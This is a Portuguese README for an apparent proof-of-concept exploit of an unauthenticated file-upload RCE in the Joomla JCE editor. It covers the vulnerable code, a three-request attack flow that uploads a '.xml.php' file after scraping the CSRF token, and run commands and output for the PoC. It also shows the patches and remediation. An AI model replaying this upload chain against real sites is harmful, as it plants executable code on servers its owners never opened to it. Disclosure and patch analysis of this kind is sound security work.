CVE-2026-48907 — RCE não autenticada no Joomla Content Editor (JCE) ≤ 2.9.99.4

Exploit de prova de conceito para CVE-2026-48907 — uma vulnerabilidade de execução remota de código CVSS 10.0 sem pré-autenticação na extensão Joomla Content Editor (JCE).
Pesquisa por Grayxploit Security Team

Índice

• Visão Geral
• Versões Afetadas
• Detalhes da Vulnerabilidade
• Fluxo do Ataque
• Prova de Conceito
• Análise da Correção
• Remediação
• Linha do Tempo
• Referências
• Aviso Legal

Visão Geral

CVE-2026-48907 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta a extensão Joomla Content Editor (JCE) — o editor Joomla mais amplamente instalado — em todas as versões até e incluindo 2.9.99.4.

Ao encadear três fraquezas de segurança independentes no fluxo de importação de perfis do JCE, um atacante completamente não autenticado pode:

• Carregar um webshell PHP arbitrário no diretório /tmp/ do servidor
• Acionar a execução desse webshell via HTTP
• Alcançar Execução Remota de Código (RCE) completa sem credenciais, sem interação do usuário e sem posição especial na rede

O ataque requer apenas 3 requisições HTTP e funciona em qualquer instalação padrão do Joomla executando uma versão vulnerável do JCE.

Pontuação CVSS v4: 10.0 — Crítica

Descoberta e divulgada publicamente pela equipe de pesquisa de segurança Grayxploit após divulgação responsável.

Versões Afetadas

Nota: A 2.9.99.5 introduziu a correção principal. A 2.9.99.6 adicionou camadas extras de hardening. Atualize para 2.9.99.6 ou superior.

Detalhes da Vulnerabilidade

A vulnerabilidade tem origem no endpoint de importação de perfis do JCE:

POST /index.php?option=com_jce&task=profiles.import

O JCE permite que administradores exportem e importem perfis de editor como arquivos XML. O manipulador de importação é acessível sem autenticação e aceita uploads de arquivos arbitrários devido a uma cadeia de três fraquezas independentes.

Fraqueza 1 — Autorização Ausente (CWE-862)

O controlador de importação não realizava verificação de ACL:

public function import()
{
    // Única barreira: token CSRF — facilmente contornável
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … vai direto para manipulação de arquivos — sem verificação authorise()
}

O Joomla incorpora o token CSRF em cada página pública como uma meta tag ou variável JS:

<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Um atacante simplesmente busca a página inicial, extrai o token e o reutiliza. A verificação CSRF impede requisições entre sites — ela não impede requisições scriptadas diretas. Não havia chamada a Factory::getUser() ou $user->authorise(...) em nenhum lugar do caminho de importação.

Fraqueza 2 — Ausência de Validação de Extensão de Arquivo (CWE-434)

O manipulador de upload usava File::makeSafe() que apenas remove caracteres ilegais do sistema de arquivos — não valida ou restringe extensões de arquivo:

$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // remove caracteres ilegais apenas

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Um nome de arquivo como shell.xml.php passa por File::makeSafe() sem alterações. O mod_php do Apache o executa porque a última extensão reconhecida é .php. Extensões como .php, .php5, .phtml e variantes de barras duplas eram todas aceitas.

Fraqueza 3 — File::upload() Chamado com $allow_unsafe = true (CWE-116)

O File::upload() do Joomla possui uma lista negra de extensões embutida que bloqueia tipos de arquivo perigosos quando $allow_unsafe = false (o padrão):

// Assinatura do File::upload() do Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

O código vulnerável do JCE desabilitou explicitamente essa rede de segurança:

// VULNERÁVEL — uploads inseguros explicitamente habilitados
File::upload($source, $destination, false, true);

Este único booleano desligou toda a lista negra interna de extensões do Joomla, permitindo que .php, .php5, .phtml e todas as outras extensões executáveis fossem escritas no disco.

Fluxo do Ataque

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extrair csrf_token do HTML/JS                            │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (arquivo gravado em /var/www/html/tmp/)            │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Resposta: "3105"  (45 × 69 = RCE confirmado ✓)           │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  Sem cookie de sessão. Sem nome de usuário. Sem senha. 3 requisições HTTP.

Prova de Conceito

⚠️ Esta PoC é fornecida estritamente para pesquisa de segurança autorizada e testes de penetração. Não use contra qualquer sistema sem permissão explícita por escrito. O uso não autorizado é ilegal e antiético.

Requisitos

pip3 install requests

Uso

git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Saída Esperada (Alvo Vulnerável)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE

Análise da Correção

Todas as três fraquezas foram corrigidas no JCE 2.9.99.5, com hardening adicional enviado no 2.9.99.6.

Correção 1 — Verificação de Autorização Adicionada (Remediação CWE-862)

controller/profiles.php:

$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Usuários convidados (id = 0) falham authorise() imediatamente. A requisição é rejeitada antes de qualquer manipulação de arquivo.

Correção 2 — Lista Branca Estrita de Extensões (Remediação CWE-434)

models/profile.php:

$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION retorna apenas a extensão final. shell.xml.php → php → rejeitado. Neutraliza todos os bypasses de extensões múltiplas.

Correção 3 — Flag Insegura Removida (Remediação CWE-116)

// Antes (vulnerável)
File::upload($source, $destination, false, true);

// Depois (corrigido)
File::upload($source, $destination, false);

A lista negra interna de extensões do Joomla é reativada como uma camada de defesa independente.

Hardening Adicional no 2.9.99.6

Remediação

Desabilitar PHP em /tmp/ via .htaccess

<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Linha do Tempo

Referências

• NVD — CVE-2026-48907
• Grayxploit Blog — Artigo Completo
• Site Oficial do JCE
• Advisory de Segurança Joomla
• CWE-862: Autorização Ausente
• CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso

Aviso Legal

Este repositório destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes de penetração em sistemas que você possui ou para os quais tem permissão explícita por escrito.

A equipe Grayxploit não é responsável por qualquer uso não autorizado, ilegal ou malicioso do código ou das informações fornecidas neste repositório.

Use com responsabilidade. Teste legalmente.

Licença

Este projeto está licenciado sob a Licença MIT.

   

Achou isso útil? Mostre seu apoio.

Cada estrela ajuda esta pesquisa a alcançar mais defensores, pentesters e equipes azuis que precisam dela.

   

---

Sobre a Grayxploit

Grayxploit é uma equipe independente de pesquisa de segurança focada em descoberta de vulnerabilidades, desenvolvimento de exploits e divulgação responsável em plataformas web, ecossistemas CMS e software de código aberto.